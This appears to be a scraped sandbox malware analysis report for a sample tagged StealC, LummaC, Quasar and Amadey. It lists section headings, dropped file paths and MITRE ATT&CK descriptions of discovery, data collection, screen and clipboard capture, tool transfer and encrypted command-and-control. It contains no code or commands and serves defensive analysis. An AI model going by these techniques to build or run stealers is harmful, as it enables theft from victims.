Threatname: StealC

Threatname: LummaC

Threatname: Quasar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\OCSWIM2SD1AEZAAA9D7N1EO6TU6FU.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZVJQ5P3XZNPH9JRJ.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\uhshdsh[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre